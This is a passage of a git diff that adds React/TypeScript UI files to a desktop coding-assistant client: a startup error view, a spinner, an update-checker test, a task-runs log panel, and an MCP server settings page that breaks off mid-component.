+  const { message, logs, diagnostics } = useMemo(() => splitStartupError(error), [error])
+  const [copied, setCopied] = useState(false)
+
+  const handleCopy = async () => {
+    await navigator.clipboard?.writeText(diagnostics)
+    setCopied(true)
+    window.setTimeout(() => setCopied(false), 1600)
+  }
+
+  return (
+    <div className="h-screen flex items-center justify-center bg-[var(--color-surface)] px-6">
+      <section className="w-full max-w-3xl rounded-lg border border-[var(--color-border)] bg-[var(--color-surface-container-low)] p-6 shadow-[var(--shadow-md)]">
+        <div className="flex flex-col gap-4">
+          <div>
+            <h1 className="text-lg font-semibold text-[var(--color-text-primary)]">
+              {t('app.serverFailed')}
+            </h1>
+            <p className="mt-2 text-sm text-[var(--color-text-secondary)]">
+              {t('app.serverFailedHint')}
+            </p>
+          </div>
+
+          <div className="rounded-lg border border-[var(--color-border)] bg-[var(--color-surface)] p-4">
+            <div className="text-xs font-medium uppercase text-[var(--color-text-tertiary)]">
+              {t('app.startupError')}
+            </div>
+            <pre className="mt-2 max-h-28 overflow-auto whitespace-pre-wrap break-words font-mono text-xs text-[var(--color-error)]">
+              {message}
+            </pre>
+          </div>
+
+          {logs ? (
+            <div className="rounded-lg border border-[var(--color-border)] bg-[var(--color-surface)] p-4">
+              <div className="text-xs font-medium uppercase text-[var(--color-text-tertiary)]">
+                {t('app.serverLogs')}
+              </div>
+              <pre className="mt-2 max-h-64 overflow-auto whitespace-pre-wrap break-words font-mono text-xs leading-relaxed text-[var(--color-text-secondary)]">
+                {logs}
+              </pre>
+            </div>
+          ) : null}
+
+          <div className="flex flex-wrap items-center gap-2">
+            <Button
+              type="button"
+              variant="secondary"
+              size="sm"
+              icon={<Copy className="h-4 w-4" aria-hidden="true" />}
+              onClick={handleCopy}
+            >
+              {copied ? t('app.copiedDiagnostics') : t('app.copyDiagnostics')}
+            </Button>
+            <Button
+              type="button"
+              variant="ghost"
+              size="sm"
+              icon={<RefreshCw className="h-4 w-4" aria-hidden="true" />}
+              onClick={() => window.location.reload()}
+            >
+              {t('common.retry')}
+            </Button>
+          </div>
+        </div>
+      </section>
+    </div>
+  )
+}
diff --git a/cc-haha/desktop/src/components/shared/Spinner.tsx b/cc-haha/desktop/src/components/shared/Spinner.tsx
new file mode 100644
index 0000000..ef4f74f
--- /dev/null
+++ b/cc-haha/desktop/src/components/shared/Spinner.tsx
@@ -0,0 +1,30 @@
+type SpinnerProps = {
+  size?: number
+  className?: string
+}
+
+export function Spinner({ size = 20, className = '' }: SpinnerProps) {
+  return (
+    <svg
+      className={`animate-spin ${className}`}
+      width={size}
+      height={size}
+      viewBox="0 0 24 24"
+      fill="none"
+    >
+      <circle
+        className="opacity-25"
+        cx="12"
+        cy="12"
+        r="10"
+        stroke="currentColor"
+        strokeWidth="4"
+      />
+      <path
+        className="opacity-75"
+        fill="currentColor"
+        d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"
+      />
+    </svg>
+  )
+}
diff --git a/cc-haha/desktop/src/components/shared/UpdateChecker.test.tsx b/cc-haha/desktop/src/components/shared/UpdateChecker.test.tsx
new file mode 100644
index 0000000..da1b0c6
--- /dev/null
+++ b/cc-haha/desktop/src/components/shared/UpdateChecker.test.tsx
@@ -0,0 +1,65 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { render, screen } from '@testing-library/react'
+import '@testing-library/jest-dom'
+
+import { UpdateChecker } from './UpdateChecker'
+import { useUpdateStore } from '../../stores/updateStore'
+
+describe('UpdateChecker', () => {
+  beforeEach(() => {
+    Object.defineProperty(window, '__TAURI__', {
+      value: {},
+      configurable: true,
+    })
+
+    useUpdateStore.setState({
+      status: 'available',
+      availableVersion: '0.1.5',
+      releaseNotes: '# Claude Code Haha v0.1.5\n\n[Release notes](https://example.com/releases/v0.1.5)',
+      progressPercent: 0,
+      downloadedBytes: 0,
+      totalBytes: null,
+      error: null,
+      checkedAt: null,
+      shouldPrompt: true,
+      initialize: vi.fn().mockResolvedValue(undefined),
+      checkForUpdates: vi.fn().mockResolvedValue(null),
+      installUpdate: vi.fn().mockResolvedValue(undefined),
+      dismissPrompt: vi.fn(),
+    })
+  })
+
+  it('renders markdown release notes in the update prompt', () => {
+    render(<UpdateChecker />)
+
+    expect(screen.getByText('v0.1.5 available')).toBeInTheDocument()
+    expect(screen.getByRole('heading', { name: 'Claude Code Haha v0.1.5' })).toBeInTheDocument()
+
+    const link = screen.getByRole('link', { name: 'Release notes' })
+    expect(link).toHaveAttribute('href', 'https://example.com/releases/v0.1.5')
+    expect(link).toHaveAttribute('target', '_blank')
+  })
+
+  it('shows downloaded bytes when the updater does not provide total size', () => {
+    useUpdateStore.setState({
+      status: 'downloading',
+      availableVersion: '0.1.5',
+      releaseNotes: '# Claude Code Haha v0.1.5',
+      progressPercent: 0,
+      downloadedBytes: 1536,
+      totalBytes: null,
+      error: null,
+      checkedAt: null,
+      shouldPrompt: true,
+      initialize: vi.fn().mockResolvedValue(undefined),
+      checkForUpdates: vi.fn().mockResolvedValue(null),
+      installUpdate: vi.fn().mockResolvedValue(undefined),
+      dismissPrompt: vi.fn(),
+    })
+
+    render(<UpdateChecker />)
+
+    expect(screen.getByText('Downloading update... 1.5 KB downloaded')).toBeInTheDocument()
+    expect(screen.queryByText(/0%/)).not.toBeInTheDocument()
+  })
+})
diff --git a/cc-haha/desktop/src/components/tasks/TaskRunsPanel.tsx b/cc-haha/desktop/src/components/tasks/TaskRunsPanel.tsx
new file mode 100644
index 0000000..6f20308
--- /dev/null
+++ b/cc-haha/desktop/src/components/tasks/TaskRunsPanel.tsx
@@ -0,0 +1,195 @@
+import { useEffect, useState } from 'react'
+import { useTaskStore } from '../../stores/taskStore'
+import { useChatStore } from '../../stores/chatStore'
+import { useTabStore } from '../../stores/tabStore'
+import { useTranslation } from '../../i18n'
+import { parseRunOutput } from '../../lib/parseRunOutput'
+import type { TaskRun } from '../../types/task'
+
+function RunOutput({ run }: { run: TaskRun }) {
+  const t = useTranslation()
+
+  // Show error prominently if present
+  if (run.error) {
+    return (
+      <div className="mt-2 max-h-40 overflow-y-auto whitespace-pre-wrap break-words rounded-[var(--radius-sm)] border border-[var(--color-error)]/20 bg-[var(--color-error-container)]/28 p-2.5 text-xs text-[var(--color-error)]">
+        {run.error}
+      </div>
+    )
+  }
+
+  const text = parseRunOutput(run.output || '')
+
+  if (!text) {
+    return (
+      <div className="mt-2 p-2.5 rounded-[var(--radius-sm)] bg-[var(--color-surface-container)] text-xs text-[var(--color-text-tertiary)] italic">
+        {run.sessionId ? t('tasks.outputHintSession') : t('tasks.noOutputText')}
+      </div>
+    )
+  }
+
+  // Render AI text response with proper formatting (not monospace <pre>)
+  return (
+    <div className="mt-2 p-2.5 rounded-[var(--radius-sm)] bg-[var(--color-surface-container)] text-xs text-[var(--color-text-secondary)] whitespace-pre-wrap break-words max-h-48 overflow-y-auto leading-relaxed">
+      {text}
+    </div>
+  )
+}
+
+type Props = {
+  taskId: string
+  onClose: () => void
+  refreshKey?: number
+}
+
+const STATUS_CONFIG: Record<string, { icon: string; color: string }> = {
+  running:   { icon: 'sync',         color: 'var(--color-warning)' },
+  completed: { icon: 'check_circle', color: 'var(--color-success)' },
+  failed:    { icon: 'error',        color: 'var(--color-error)' },
+  timeout:   { icon: 'timer_off',    color: 'var(--color-error)' },
+}
+
+export function TaskRunsPanel({ taskId, onClose, refreshKey }: Props) {
+  const t = useTranslation()
+  const { fetchTaskRuns } = useTaskStore()
+  const connectToSession = useChatStore((s) => s.connectToSession)
+  const openTab = useTabStore((s) => s.openTab)
+  const [runs, setRuns] = useState<TaskRun[]>([])
+  const [loading, setLoading] = useState(true)
+  const [expandedId, setExpandedId] = useState<string | null>(null)
+
+  const openSession = (sessionId: string, taskName?: string) => {
+    openTab(sessionId, taskName || 'Task Run')
+    connectToSession(sessionId)
+  }
+
+  const refresh = () => {
+    fetchTaskRuns(taskId).then((r) => {
+      setRuns(r)
+      setLoading(false)
+    }).catch(() => setLoading(false))
+  }
+
+  // Initial fetch + re-fetch when refreshKey changes
+  useEffect(() => {
+    setLoading(true)
+    refresh()
+  }, [taskId, fetchTaskRuns, refreshKey])
+
+  // Auto-poll while any run is "running" or shortly after a manual trigger.
+  // Uses faster 1s polling for the first 10s after refreshKey changes, then 3s.
+  const hasRunning = runs.some((r) => r.status === 'running')
+  useEffect(() => {
+    if (!hasRunning && refreshKey === 0) return // no reason to poll initially
+    // Start with fast polling (1s) to give snappy feedback after "Run Now"
+    let interval = 1000
+    let timer = setInterval(refresh, interval)
+    // After 10s, switch to slower 3s polling if still running
+    const slowDown = setTimeout(() => {
+      clearInterval(timer)
+      if (hasRunning) {
+        timer = setInterval(refresh, 3000)
+      }
+    }, 10000)
+    // If nothing is running and initial window passes, stop entirely
+    const stopTimer = hasRunning ? undefined : setTimeout(() => clearInterval(timer), 12000)
+    return () => {
+      clearInterval(timer)
+      clearTimeout(slowDown)
+      if (stopTimer) clearTimeout(stopTimer)
+    }
+  }, [hasRunning, taskId, refreshKey])
+
+  return (
+    <div className="mt-2 mb-1 rounded-[var(--radius-md)] border border-[var(--color-border)] bg-[var(--color-surface)] overflow-hidden">
+      {/* Header */}
+      <div className="flex items-center justify-between px-4 py-2.5 bg-[var(--color-surface-container)]">
+        <span className="text-xs font-medium text-[var(--color-text-primary)]">{t('tasks.logsTitle')}</span>
+        <button
+          onClick={onClose}
+          className="p-0.5 text-[var(--color-text-tertiary)] hover:text-[var(--color-text-primary)] transition-colors"
+        >
+          <span className="material-symbols-outlined text-[16px]">close</span>
+        </button>
+      </div>
+
+      {/* Content */}
+      <div className="max-h-64 overflow-y-auto">
+        {loading ? (
+          <div className="flex items-center justify-center py-6">
+            <div className="animate-spin w-4 h-4 border-2 border-[var(--color-brand)] border-t-transparent rounded-full" />
+          </div>
+        ) : runs.length === 0 ? (
+          <div className="px-4 py-6 text-center text-xs text-[var(--color-text-tertiary)]">
+            {t('tasks.noLogs')}
+          </div>
+        ) : (
+          <div className="divide-y divide-[var(--color-border-separator)]">
+            {runs.map((run) => {
+              const cfg = STATUS_CONFIG[run.status] || STATUS_CONFIG.failed!
+              const isExpanded = expandedId === run.id
+              return (
+                <div key={run.id} className="px-4 py-2.5">
+                  <div className="flex items-center gap-3">
+                    {/* Status icon */}
+                    <span
+                      className={`material-symbols-outlined text-[16px] ${run.status === 'running' ? 'animate-spin' : ''}`}
+                      style={{ color: cfg.color, fontVariationSettings: "'FILL' 1" }}
+                    >
+                      {cfg.icon}
+                    </span>
+
+                    {/* Status text */}
+                    <span className="text-xs font-medium" style={{ color: cfg.color }}>
+                      {t(`tasks.runStatus.${run.status}` as any)} {/* dynamic key */}
+                    </span>
+
+                    {/* Time */}
+                    <span className="text-xs text-[var(--color-text-tertiary)]">
+                      {new Date(run.startedAt).toLocaleString()}
+                    </span>
+
+                    {/* Duration */}
+                    {run.durationMs != null && (
+                      <span className="text-xs text-[var(--color-text-tertiary)]">
+                        {t('tasks.duration', { s: Math.round(run.durationMs / 1000) })}
+                      </span>
+                    )}
+
+                    <div className="ml-auto flex items-center gap-2">
+                      {/* Open session — only after run completes (session is empty while running) */}
+                      {run.sessionId && run.status !== 'running' && (
+                        <button
+                          onClick={() => openSession(run.sessionId!, run.taskName)}
+                          className="inline-flex items-center gap-1 px-2 py-1 text-xs font-medium text-[var(--color-brand)] bg-[var(--color-brand)]/8 hover:bg-[var(--color-brand)]/15 rounded-[var(--radius-sm)] transition-colors"
+                        >
+                          <span className="material-symbols-outlined text-[14px]">open_in_new</span>
+                          {t('tasks.openSession')}
+                        </button>
+                      )}
+
+                      {/* Summary toggle */}
+                      {(run.output || run.error) && (
+                        <button
+                          onClick={() => setExpandedId(isExpanded ? null : run.id)}
+                          className="text-xs text-[var(--color-text-tertiary)] hover:text-[var(--color-text-secondary)] transition-colors"
+                        >
+                          {isExpanded ? t('tasks.hideOutput') : t('tasks.viewOutput')}
+                        </button>
+                      )}
+                    </div>
+                  </div>
+
+                  {/* Expanded output */}
+                  {isExpanded && (
+                    <RunOutput run={run} />
+                  )}
+                </div>
+              )
+            })}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/cc-haha/desktop/src/pages/McpSettings.tsx b/cc-haha/desktop/src/pages/McpSettings.tsx
new file mode 100644
index 0000000..f63eb2a
--- /dev/null
+++ b/cc-haha/desktop/src/pages/McpSettings.tsx
@@ -0,0 +1,1024 @@
+import { useEffect, useMemo, useRef, useState } from 'react'
+import { Button } from '../components/shared/Button'
+import { Input } from '../components/shared/Input'
+import { Modal } from '../components/shared/Modal'
+import { useTranslation } from '../i18n'
+import { useUIStore } from '../stores/uiStore'
+import { useMcpStore } from '../stores/mcpStore'
+import { useSessionStore } from '../stores/sessionStore'
+import type { McpServerRecord, McpUpsertPayload } from '../types/mcp'
+
+type EditorMode =
+  | { type: 'list' }
+  | { type: 'create' }
+  | { type: 'edit'; server: McpServerRecord }
+  | { type: 'details'; server: McpServerRecord }
+
+type TransportKind = 'stdio' | 'http' | 'sse'
+
+type StringRow = {
+  id: string
+  value: string
+}
+
+type KeyValueRow = {
+  id: string
+  key: string
+  value: string
+}
+
+type McpDraft = {
+  name: string
+  transport: TransportKind
+  command: string
+  args: StringRow[]
+  env: KeyValueRow[]
+  url: string
+  headers: KeyValueRow[]
+  headersHelper: string
+  oauthClientId: string
+  oauthCallbackPort: string
+}
+
+type McpGroupKey =
+  | 'plugin'
+  | 'user'
+  | 'project'
+  | 'local'
+  | 'managed'
+  | 'enterprise'
+  | 'claudeai'
+  | 'dynamic'
+
+const MCP_GROUP_ORDER: McpGroupKey[] = [
+  'plugin',
+  'user',
+  'project',
+  'local',
+  'managed',
+  'enterprise',
+  'claudeai',
+  'dynamic',
+]
+
+const STATUS_TONE: Record<McpServerRecord['status'], string> = {
+  connected: 'bg-emerald-500/10 text-emerald-600 border-emerald-500/20',
+  checking: 'bg-slate-500/10 text-slate-600 border-slate-500/20',
+  'needs-auth': 'bg-amber-500/10 text-amber-600 border-amber-500/20',
+  failed: 'bg-rose-500/10 text-rose-600 border-rose-500/20',
+  disabled: 'bg-[var(--color-surface-hover)] text-[var(--color-text-secondary)] border-[var(--color-border)]',
+}
+
+function createId() {
+  if (typeof crypto !== 'undefined' && 'randomUUID' in crypto) return crypto.randomUUID()
+  return `${Date.now()}-${Math.random().toString(16).slice(2)}`
+}
+
+function createStringRow(value = ''): StringRow {
+  return { id: createId(), value }
+}
+
+function createKeyValueRow(key = '', value = ''): KeyValueRow {
+  return { id: createId(), key, value }
+}
+
+function createEmptyDraft(): McpDraft {
+  return {
+    name: '',
+    transport: 'stdio',
+    command: '',
+    args: [createStringRow('')],
+    env: [createKeyValueRow()],
+    url: '',
+    headers: [createKeyValueRow()],
+    headersHelper: '',
+    oauthClientId: '',
+    oauthCallbackPort: '',
+  }
+}
+
+function isStdioConfig(config: McpServerRecord['config']): config is Extract<McpServerRecord['config'], { type: 'stdio' }> {
+  return config.type === 'stdio'
+}
+
+function isRemoteConfig(config: McpServerRecord['config']): config is Extract<McpServerRecord['config'], { type: 'http' | 'sse' }> {
+  return config.type === 'http' || config.type === 'sse'
+}
+
+function draftFromServer(server: McpServerRecord): McpDraft {
+  const base = createEmptyDraft()
+  base.name = server.name
+
+  if (isStdioConfig(server.config)) {
+    return {
+      ...base,
+      transport: 'stdio',
+      command: server.config.command,
+      args: (server.config.args.length ? server.config.args : ['']).map((value) => createStringRow(value)),
+      env: Object.entries(server.config.env ?? {}).map(([key, value]) => createKeyValueRow(key, value)).concat(
+        Object.keys(server.config.env ?? {}).length === 0 ? [createKeyValueRow()] : [],
+      ),
+    }
+  }
+
+  if (isRemoteConfig(server.config)) {
+    return {
+      ...base,
+      transport: server.config.type,
+      url: server.config.url,
+      headers: Object.entries(server.config.headers ?? {}).map(([key, value]) => createKeyValueRow(key, value)).concat(
+        Object.keys(server.config.headers ?? {}).length === 0 ? [createKeyValueRow()] : [],
+      ),
+      headersHelper: server.config.headersHelper ?? '',
+      oauthClientId: server.config.oauth?.clientId ?? '',
+      oauthCallbackPort: server.config.oauth?.callbackPort ? String(server.config.oauth.callbackPort) : '',
+    }
+  }
+
+  return base
+}
+
+function rowsToRecord(rows: KeyValueRow[]) {
+  const entries: Array<[string, string]> = []
+  for (const row of rows) {
+    const key = row.key.trim()
+    if (!key) continue
+    entries.push([key, row.value])
+  }
+  return Object.fromEntries(entries)
+}
+
+function rowsToList(rows: StringRow[]) {
+  return rows.map((row) => row.value.trim()).filter(Boolean)
+}
+
+function buildPayload(draft: McpDraft): McpUpsertPayload {
+  if (draft.transport === 'stdio') {
+    return {
+      scope: 'user',
+      config: {
+        type: 'stdio',
+        command: draft.command.trim(),
+        args: rowsToList(draft.args),
+        env: rowsToRecord(draft.env),
+      },
+    }
+  }
+
+  const oauthCallbackPort = draft.oauthCallbackPort.trim()
+  const callbackPortNumber = oauthCallbackPort ? Number(oauthCallbackPort) : undefined
+  const oauthClientId = draft.oauthClientId.trim()
+
+  return {
+    scope: 'user',
+    config: {
+      type: draft.transport,
+      url: draft.url.trim(),
+      headers: rowsToRecord(draft.headers),
+      ...(draft.headersHelper.trim() ? { headersHelper: draft.headersHelper.trim() } : {}),
+      ...(oauthClientId || callbackPortNumber
+        ? {
+            oauth: {
+              ...(oauthClientId ? { clientId: oauthClientId } : {}),
+              ...(callbackPortNumber ? { callbackPort: callbackPortNumber } : {}),
+            },
+          }
+        : {}),
+    },
+  }
+}
+
+function isDraftValid(draft: McpDraft) {
+  if (!draft.name.trim()) return false
+  if (draft.transport === 'stdio') return draft.command.trim().length > 0
+  return draft.url.trim().length > 0
+}
+
+function transportLabel(transport: string, t: ReturnType<typeof useTranslation>) {
+  switch (transport) {
+    case 'stdio':
+      return 'STDIO'
+    case 'http':
+      return t('settings.mcp.transport.http')
+    case 'sse':
+      return 'SSE'
+    default:
+      return transport
+  }
+}
+
+function getServerGroupKey(server: McpServerRecord): McpGroupKey {
+  if (server.name.startsWith('plugin:')) return 'plugin'
+  switch (server.scope) {
+    case 'user':
+    case 'project':
+    case 'local':
+    case 'managed':
+    case 'enterprise':
+    case 'claudeai':
+    case 'dynamic':
+      return server.scope
+    default:
+      return 'dynamic'
+  }
+}
+
+function scopeLabel(server: McpServerRecord, t: ReturnType<typeof useTranslation>) {
+  const group = getServerGroupKey(server)
+  if (group === 'plugin') return t('settings.mcp.scope.plugin')
+  return t(`settings.mcp.scope.${group}`)
+}
+
+function StatusBadge({ server }: { server: McpServerRecord }) {
+  return (
+    <span className={`inline-flex items-center rounded-full border px-2.5 py-1 text-[11px] font-semibold ${STATUS_TONE[server.status]}`}>
+      {server.statusLabel}
+    </span>
+  )
+}
+
+function getServerIdentityKey(server: Pick<McpServerRecord, 'name' | 'scope' | 'projectPath'>) {
+  if (server.scope === 'local' || server.scope === 'project') {
+    return `${server.scope}:${server.projectPath ?? ''}:${server.name}`
+  }
+
+  return `${server.scope}:${server.name}`
+}
+
+function ToggleSwitch({
+  checked,
+  disabled,
+  onChange,
+}: {
+  checked: boolean
+  disabled?: boolean
+  onChange: () => void
+}) {
+  return (
+    <button
+      type="button"
+      role="switch"
+      aria-checked={checked}
+      disabled={disabled}
+      onClick={onChange}
+      className={`relative inline-flex h-8 w-14 items-center rounded-full transition-colors ${
+        checked ? 'bg-[#90c1f7]' : 'bg-[var(--color-border)]'
+      } ${disabled ? 'opacity-60 cursor-not-allowed' : 'cursor-pointer'}`}
+    >
+      <span
+        className={`inline-block h-6 w-6 transform rounded-full bg-white transition-transform ${
+          checked ? 'translate-x-7' : 'translate-x-1'
+        }`}
+      />
+    </button>
+  )
+}
+
+function ArraySection({
+  title,
+  rows,
+  onChange,
+  onAdd,
+  onRemove,
+  keyPlaceholder,
+  valuePlaceholder,
+  singleValue = false,
+  addLabel,
+}: {
+  title: string
+  rows: KeyValueRow[] | StringRow[]
+  onChange: (id: string, field: 'key' | 'value', value: string) => void
+  onAdd: () => void
+  onRemove: (id: string) => void
+  keyPlaceholder?: string
+  valuePlaceholder: string
+  singleValue?: boolean
+  addLabel: string
+}) {
+  return (
+    <section className="rounded-[var(--radius-xl)] border border-[var(--color-border)] bg-[var(--color-surface)] p-5">
+      <div className="text-sm font-semibold text-[var(--color-text-primary)] mb-4">{title}</div>
+      <div className="space-y-3">
+        {rows.map((row) => (
+          <div key={row.id} className={`grid gap-3 ${singleValue ? 'grid-cols-[minmax(0,1fr)_32px]' : 'grid-cols-[minmax(0,1fr)_minmax(0,1fr)_32px]'}`}>
+            {!singleValue && 'key' in row && (
+              <Input
+                value={row.key}
+                onChange={(event) => onChange(row.id, 'key', event.target.value)}
+                placeholder={keyPlaceholder}
+              />
+            )}
+            <Input
+              value={row.value}
+              onChange={(event) => onChange(row.id, 'value', event.target.value)}
+              placeholder={valuePlaceholder}
+            />
+            <button
+              type="button"
+              onClick={() => onRemove(row.id)}
+              className="mt-1 flex h-10 w-8 items-center justify-center rounded-[var(--radius-md)] text-[var(--color-text-tertiary)] transition-colors hover:bg-[var(--color-surface-hover)] hover:text-[var(--color-text-primary)]"
+              aria-label={addLabel}
+            >
+              <span className="material-symbols-outlined text-[18px]">delete</span>
+            </button>
+          </div>
+        ))}
+        <button
+          type="button"
+          onClick={onAdd}
+          className="flex h-12 w-full items-center justify-center gap-2 rounded-[var(--radius-lg)] bg-[var(--color-surface-hover)] text-[var(--color-text-secondary)] transition-colors hover:text-[var(--color-text-primary)]"
+        >
+          <span className="material-symbols-outlined text-[18px]">add</span>
+          {addLabel}
+        </button>
+      </div>
+    </section>
+  )
+}
+
+function StatCard({ label, value, icon }: { label: string; value: number; icon: string }) {
+  return (
+    <div className="rounded-2xl border border-[var(--color-border)] bg-[var(--color-surface-container-low)] px-5 py-4">
+      <div className="flex items-center gap-2 text-[var(--color-text-tertiary)] mb-2">
+        <span className="material-symbols-outlined text-[18px]">{icon}</span>
+        <span className="text-xs uppercase tracking-[0.18em] font-semibold">{label}</span>
+      </div>
+      <div className="text-3xl font-semibold text-[var(--color-text-primary)]">{value}</div>
+    </div>
+  )
+}
+
+function ServerRow({
+  server,
+  isBusy,
+  onOpen,
+  onToggle,
+  t,
+}: {
+  server: McpServerRecord
+  isBusy: boolean
+  onOpen: () => void
+  onToggle: () => void
+  t: ReturnType<typeof useTranslation>
+}) {
+  return (
+    <div className="grid grid-cols-[minmax(0,1fr)_auto_auto] items-center gap-4 px-6 py-5 border-t border-[var(--color-border)] first:border-t-0">
+      <div className="min-w-0">
+        <div className="flex items-center gap-3 mb-2 min-w-0">
+          <div className="text-[1.05rem] font-semibold text-[var(--color-text-primary)] truncate">{server.name}</div>
+          <StatusBadge server={server} />
+        </div>
+        <div className="flex flex-wrap items-center gap-2 text-xs text-[var(--color-text-tertiary)]">
+          <span className="rounded-full bg-[var(--color-surface-hover)] px-2 py-1 font-medium text-[var(--color-text-secondary)]">
+            {transportLabel(server.transport, t)}
+          </span>
+          <span className="rounded-full bg-[var(--color-surface-hover)] px-2 py-1 font-medium text-[var(--color-text-secondary)]">
+            {scopeLabel(server, t)}
+          </span>
+          <span className="truncate">{server.summary}</span>
+        </div>
+        {server.statusDetail && (
+          <div className="mt-2 text-xs text-[var(--color-text-tertiary)] truncate">{server.statusDetail}</div>
+        )}
+      </div>
+
+      <button
+        type="button"
+        onClick={onOpen}
+        className="flex h-10 w-10 items-center justify-center rounded-full text-[var(--color-text-secondary)] transition-colors hover:bg-[var(--color-surface-hover)] hover:text-[var(--color-text-primary)]"
+        aria-label={`Open ${server.name}`}
+      >
+        <span className="material-symbols-outlined text-[20px]">settings</span>
+      </button>
+
+      <ToggleSwitch checked={server.enabled} disabled={isBusy || !server.canToggle} onChange={onToggle} />
+    </div>
+  )
+}
+
+export function McpSettings() {
+  const { servers, selectedServer, isLoading, error, fetchServers, createServer, updateServer, deleteServer, toggleServer, reconnectServer, refreshServerStatus, selectServer } = useMcpStore()
+  const addToast = useUIStore((s) => s.addToast)
+  const sessions = useSessionStore((s) => s.sessions)
+  const activeSessionId = useSessionStore((s) => s.activeSessionId)
+  const t = useTranslation()
+  const [view, setView] = useState<EditorMode>({ type: 'list' })
+  const [draft, setDraft] = useState<McpDraft>(createEmptyDraft)
+  const [isSaving, setIsSaving] = useState(false)
+  const [isDeleting, setIsDeleting] = useState(false)
+  const [busyServerName, setBusyServerName] = useState<string | null>(null)
+  const [pendingDeleteServer, setPendingDeleteServer] = useState<McpServerRecord | null>(null)
+  const refreshInFlightRef = useRef(new Set<string>())
+
+  const activeSession = sessions.find((session) => session.id === activeSessionId)
+  const currentWorkDir = activeSession?.workDir || undefined
+  const resolveOperationCwd = (server?: McpServerRecord) => server?.projectPath ?? currentWorkDir
+
+  useEffect(() => {
+    void fetchServers(undefined, currentWorkDir)
+  }, [fetchServers, currentWorkDir])
+
+  const groupedServers = useMemo(() => {
+    const groups: Partial<Record<McpGroupKey, McpServerRecord[]>> = {}
+    for (const server of servers) {
+      const key = getServerGroupKey(server)
+      ;(groups[key] ??= []).push(server)
+    }
+    return groups
+  }, [servers])
+
+  const stats = useMemo(() => ({
+    total: servers.length,
+    connected: servers.filter((server) => server.status === 'connected').length,
+    attention: servers.filter((server) => server.status === 'failed' || server.status === 'needs-auth').length,
+  }), [servers])
+
+  const beginCreate = () => {
+    setDraft(createEmptyDraft())
+    setView({ type: 'create' })
+  }
+
+  const beginEdit = (server: McpServerRecord) => {
+    selectServer(server)
+    if (!server.canEdit) {
+      setView({ type: 'details', server })
+      return
+    }
+    setDraft(draftFromServer(server))
+    setView({ type: 'edit', server })
+  }
+
+  useEffect(() => {
+    if (!selectedServer) return
+    if (selectedServer.canEdit) {
+      setDraft(draftFromServer(selectedServer))
+      setView({ type: 'edit', server: selectedServer })
+    } else {
+      setView({ type: 'details', server: selectedServer })
+    }
+  }, [selectedServer])
+
+  useEffect(() => {
+    const pendingServers = servers.filter((server) => (
+      server.enabled &&
+      server.status === 'checking' &&
+      !refreshInFlightRef.current.has(getServerIdentityKey(server))
+    ))
+
+    if (pendingServers.length === 0) return
+
+    let cancelled = false
+    const queue = [...pendingServers]
+    const workerCount = Math.min(2, queue.length)
+
+    const runWorker = async () => {
+      while (!cancelled) {
+        const server = queue.shift()
+        if (!server) return
+
+        const key = getServerIdentityKey(server)
+        refreshInFlightRef.current.add(key)
+        try {
+          const updated = await refreshServerStatus(server, resolveOperationCwd(server))
+          if (cancelled) return
+
+          setView((current) => {
+            if (current.type !== 'details' && current.type !== 'edit') return current
+            if (getServerIdentityKey(current.server) !== key) return current
+            return { ...current, server: updated }
+          })
+        } catch {
+          // Keep passive checks silent. Explicit reconnect remains the action that
+          // surfaces failures to the user.
+        } finally {
+          refreshInFlightRef.current.delete(key)
+        }
+      }
+    }
+
+    void Promise.all(Array.from({ length: workerCount }, () => runWorker()))
+
+    return () => {
+      cancelled = true
+    }
+  }, [servers, refreshServerStatus, currentWorkDir])
+
+  const handleToggle = async (server: McpServerRecord) => {
+    setBusyServerName(server.name)
+    try {
+      const updated = await toggleServer(server, resolveOperationCwd(server))
+      addToast({
+        type: 'success',
+        message: updated.enabled ? t('settings.mcp.toast.enabled', { name: server.name }) : t('settings.mcp.toast.disabled', { name: server.name }),
+      })
+    } catch (error) {
+      addToast({
+        type: 'error',
+        message: error instanceof Error ? error.message : t('settings.mcp.toast.toggleFailed'),
+      })
+    } finally {
+      setBusyServerName(null)
+    }
+  }
+
+  const handleReconnect = async (server: McpServerRecord) => {
+    const optimistic = {
+      ...server,
+      status: 'checking' as const,
+      statusLabel: t('status.reconnecting'),
+      statusDetail: undefined,
+    }
+
+    setBusyServerName(server.name)
+    setView((current) => {
+      if (current.type !== 'details' && current.type !== 'edit') return current
+      if (getServerIdentityKey(current.server) !== getServerIdentityKey(server)) return current
+      return { ...current, server: optimistic }
+    })
+    try {
+      const updated = await reconnectServer(server, resolveOperationCwd(server))
+      addToast({
+        type: updated.status === 'connected' ? 'success' : 'warning',
+        message: updated.status === 'connected'
+          ? t('settings.mcp.toast.reconnected', { name: server.name })
+          : updated.statusDetail || updated.statusLabel,
+      })
+      if (view.type === 'edit') setView({ type: 'edit', server: updated })
+      if (view.type === 'details') setView({ type: 'details', server: updated })
+    } catch (error) {
+      setView((current) => {
+        if (current.type !== 'details' && current.type !== 'edit') return current
+        if (getServerIdentityKey(current.server) !== getServerIdentityKey(server)) return current
+        return { ...current, server }
+      })
+      addToast({
+        type: 'error',
+        message: error instanceof Error ? error.message : t('settings.mcp.toast.reconnectFailed'),
+      })
+    } finally {
+      setBusyServerName(null)
+    }
+  }
+
+  const handleDelete = (server: McpServerRecord) => {
+    setPendingDeleteServer(server)
+  }
+
+  const confirmDelete = async () => {
+    const server = pendingDeleteServer
+    if (!server) return
+    setIsDeleting(true)
+    try {
+      await deleteServer(server, resolveOperationCwd(server))
+      addToast({
+        type: 'success',
+        message: t('settings.mcp.toast.deleted', { name: server.name }),
+      })
+      setView({ type: 'list' })
+      selectServer(null)
+      setPendingDeleteServer(null)
+    } catch (error) {
+      addToast({
+        type: 'error',
+        message: error instanceof Error ? error.message : t('settings.mcp.toast.deleteFailed'),
+      })
+    } finally {
+      setIsDeleting(false)
+    }
+  }
+
+  const deleteModal = (
+    <Modal
+      open={pendingDeleteServer !== null}
+      onClose={() => {
+        if (isDeleting) return
+        setPendingDeleteServer(null)
+      }}
+      title={t('settings.mcp.form.deleteTitle')}
+      footer={(
+        <>
+          <Button variant="ghost" onClick={() => setPendingDeleteServer(null)} disabled={isDeleting}>
+            {t('settings.mcp.form.cancel')}
+          </Button>
+          <Button variant="danger" onClick={confirmDelete} loading={isDeleting}>
+            {t('settings.mcp.form.confirmDelete')}
+          </Button>
+        </>
+      )}
+    >
